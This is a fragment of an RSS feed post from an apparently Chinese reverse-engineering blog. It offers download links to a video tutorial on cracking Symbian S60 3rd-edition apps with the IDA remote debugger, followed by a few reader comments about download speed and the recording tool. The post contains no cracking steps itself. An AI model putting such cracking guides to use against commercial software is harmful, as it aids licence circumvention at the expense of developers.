<p style="text-align: center"><img class="aligncenter" src="http://www.caterqiu.cn/upload/2009/12/061221123234322.jpg" alt="" /></p>
<p>DownLoad：<br />
<a href="http://rapidshare.com/files/326535837/Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debuger_Tutorial_By_CaterQiu.Rar.html" target="_blank">http://rapidshare.com/files/326535837/Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debuger_Tutorial_By_CaterQiu.Rar.html</a><br />
<a href="http://www.caterqiu.cn/UPLOAD/2009/12/Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debuger_Tutorial_By_CaterQiu.Rar">http://www.caterqiu.cn/UPLOAD/2009/12/Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debuger_Tutorial_By_CaterQiu.Rar</a></p>
<p><a href="http://www.caterqiu.cn/Article/Symbian_S60_3rd_Reverse_CrAcKiNg_Tutorial_By_CaterQiu.html">http://www.caterqiu.cn/Article/Symbian_S60_3rd_Reverse_CrAcKiNg_Tutorial_By_CaterQiu.html</a><br />
<a href="http://www.caterqiu.cn/Article/Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debuger_Tutorial_By_CaterQiu.html">WwW.CaterQiu.Cn/Article/Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debuger_Tutorial_By_CaterQiu.html</a></p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/210#comment-92">2009年12月27日</a>, 犇犇犇 writes: 第二个地址好快，700k+</li><li><a href="http://www.softrce.net/archives/210#comment-93">2009年12月28日</a>, ik writes: 你这个swf是用什么工具录的，谢谢</li><li><a href="http://www.softrce.net/archives/210#comment-94">2009年12月28日</a>, breach writes: 同上，请问您这个swf是用什么工具录的，谢谢</li><li><a href="http://www.softrce.net/archives/210#comment-95">2009年12月28日</a>, caterqiu writes: Instant Demo Pro
Download:http://www.hanzify.org/?Go=Show::List&amp;ID=9363</li><li><a href="http://www.softrce.net/archives/210#comment-100">2010年01月30日</a>, gz1x writes: WTF!这方面的文章好像真是蛮少，要赞。</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/210/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
